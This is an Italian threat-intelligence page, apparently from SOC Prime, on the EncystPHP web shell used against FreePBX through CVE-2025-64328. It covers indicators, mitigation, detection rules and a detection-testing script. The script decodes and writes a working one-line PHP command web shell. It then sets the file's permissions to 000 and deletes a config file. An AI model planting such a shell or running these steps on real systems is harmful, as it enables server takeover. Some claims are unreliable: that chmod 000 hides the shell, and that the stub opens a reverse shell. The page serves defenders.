SOC Prime Bias: Critico

03 Feb 2026 16:33 UTC

EncystPHP: Web Shell FreePBX Armato per Compromissione Amministrativa Persistente

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
EncystPHP: Web Shell FreePBX Armato per Compromissione Amministrativa Persistente
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

FortiGuard Labs segnala una web shell PHP soprannominata EncystPHP distribuita su istanze FreePBX esposte sfruttando CVE-2025-64328. L’impianto consente l’esecuzione di comandi remoti, fornisce utenti privilegiati e imposta una persistenza stratificata tramite cron job e dropper successivi. L’attività è collegata al gruppo INJ3CTOR3 e sembra mirata agli ambienti di telecomunicazione. Gli indicatori pubblicati includono IP malevoli, domini, URL e più percorsi di file ostili.

Indagine

Gli investigatori hanno rintracciato l’accesso iniziale a un difetto di iniezione di comandi post-autenticazione nel FreePBX Endpoint Manager. Dopo uno sfruttamento riuscito, l’operatore preleva un dropper da 45.234.176.202, allenta le autorizzazioni sui componenti chiave PHP, estrae le credenziali del database, crea un account a livello di root e aggiunge una chiave SSH controllata dall’attaccante. La persistenza viene rafforzata con voci cron che ripetutamente scaricano ulteriori dropper e aggiornano gli artefatti. EncystPHP imita anche i file legittimi di FreePBX e manipola i timestamp per ridurre la visibilità durante la triage routine.

Mitigazione

Aggiornare il FreePBX Endpoint Manager per risolvere CVE-2025-64328 (e qualsiasi correzione correlata) il prima possibile. Cacciare file web shell non autorizzati, pianificazioni cron sospette e nuovi utenti locali privilegiati creati di recente. Bloccare l’uscita HTTP verso infrastrutture malevoli conosciute e applicare permessi rigorosi e con il minore privilegio su directory esposte al web e asset PHP.

Risposta

Alla rilevazione, isolare il server PBX colpito, rimuovere gli artefatti EncystPHP, eliminare i cron job non autorizzati e reimpostare account locali e chiavi SSH. Rivedere i log e i backup delle configurazioni per definire l’ambito delle modifiche, quindi applicare gli aggiornamenti di sicurezza correnti e rafforzare l’interfaccia web. Validare che non rimangano droppers secondari o meccanismi di persistenza prima di ripristinare le normali operazioni di telefonia.

Flusso di Attacco

Rilevamenti

Possibile Nuovo Account per la Persistenza [Linux] (via cmdline)

Squadra SOC Prime
02 Feb 2026

File Cron Creato (via file_event)

Squadra SOC Prime
02 Feb 2026

Download in Cartelle Sospette (via cmdline)

Squadra SOC Prime
02 Feb 2026

Possibile Tentativo di Scoperta di SSH Known Hosts [MacOS] (via cmdline)

Squadra SOC Prime
02 Feb 2026

Possibile Manipolazione di Stringhe Codificate in Base64 (via cmdline)

Squadra SOC Prime
02 Feb 2026

IOC (IP di Destinazione) da rilevare: Svelamento della Web Shell EncystPHP Arma Una Web Shell Persistente di FreePBX Abilitando l’Infrazione Amministrativa a Lungo Termine

Regole IA SOC Prime
02 Feb 2026

IOC (HashSha256) da rilevare: Svelamento della Web Shell EncystPHP Arma Una Web Shell Persistente di FreePBX Abilitando l’Infrazione Amministrativa a Lungo Termine

Regole IA SOC Prime
02 Feb 2026

IOC (IP di Sorgente) da rilevare: Svelamento della Web Shell EncystPHP Arma Una Web Shell Persistente di FreePBX Abilitando l’Infrazione Amministrativa a Lungo Termine

Regole IA SOC Prime
02 Feb 2026

Rileva Voci Crontab per il Download Persistente di k.php e c Dropper [Creazione di Processo Linux]

Regole IA SOC Prime
02 Feb 2026

Distribuzione e Persistenza della Web Shell EncystPHP tramite CVE-2025-64328 [Creazione di Processo Linux]

Regole IA SOC Prime
02 Feb 2026

Rilevamento dell’Attività della Web Shell EncystPHP in FreePBX [Evento File Linux]

Regole IA SOC Prime
02 Feb 2026

Esecuzione di Simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere passato.

Ragionamento: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.

  • Narrativa e Comandi dell’Attacco:

    1. Carica la web shell EncystPHP – L’attaccante crea un payload PHP codificato in Base64 e lo consegna tramite un HTTP POST all’interfaccia web di FreePBX, facendo sì che il file ajax.php sia scritto in /var/www/html/admin/views/ajax.php.
    2. Imposta permessi restrittivi – Subito dopo la distribuzione, l’attaccante esegue chmod 000 ajax.php per nascondere la shell agli utenti normali e forzare l’esecuzione sotto l’account privilegiato del server web (T1222.002).
    3. Elimina configurazione critica – Per compromettere il rilevamento e forzare il sistema a ricaricarsi con la shell malevola, l’attaccante rimuove /etc/freepbx.conf (T1070.004, T1562.001).
    4. Attiva la shell – Una semplice richiesta HTTP GET al ajax.php appena creato esegue il payload, stabilendo una shell inversa (T1105, T1059.004).
  • Script di Test di Regressione: Lo script riproduce i passaggi 1-3 in una directory di test controllata (/tmp/freepbx_test) per evitare di influenzare un sistema di produzione.

    # encystphp_simulation.sh
    set -euo pipefail
    
    # ----- Configurazione delle directory di test (rispecchiante il layout di FreePBX) -----
    TEST_ROOT="/tmp/freepbx_test"
    WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views"
    CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf"
    
    sudo mkdir -p "${WEB_ROOT}"
    sudo mkdir -p "$(dirname "${CONFIG_FILE}")"
    
    # ----- Crea file di configurazione dummy (verrà cancellato) -----
    echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null
    
    # ----- Payload EncystPHP codificato in Base64 (molto piccolo stub) -----
    PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+"
    
    # ----- Passaggio 1: Distribuzione della web shell -----
    echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null
    echo "Web shell distribuita su ${WEB_ROOT}/ajax.php"
    
    # ----- Passaggio 2: Permessi restrittivi (000) -----
    sudo chmod 000 "${WEB_ROOT}/ajax.php"
    echo "Permessi impostati a 000"
    
    # ----- Passaggio 3: Elimina file di configurazione critico -----
    sudo rm -f "${CONFIG_FILE}"
    echo "${CONFIG_FILE} eliminato"
    
    # ----- Facoltativo: attiva la shell (simulato) -----
    # curl -s "http://localhost/admin/views/ajax.php?cmd=id"
    
    echo "Simulazione completata. Controllare SIEM per avvisi."
  • Comandi di Pulizia:

    # cleanup_encystphp_simulation.sh
    set -euo pipefail
    TEST_ROOT="/tmp/freepbx_test"
    sudo rm -rf "${TEST_ROOT}"
    echo "Ambiente di test pulito."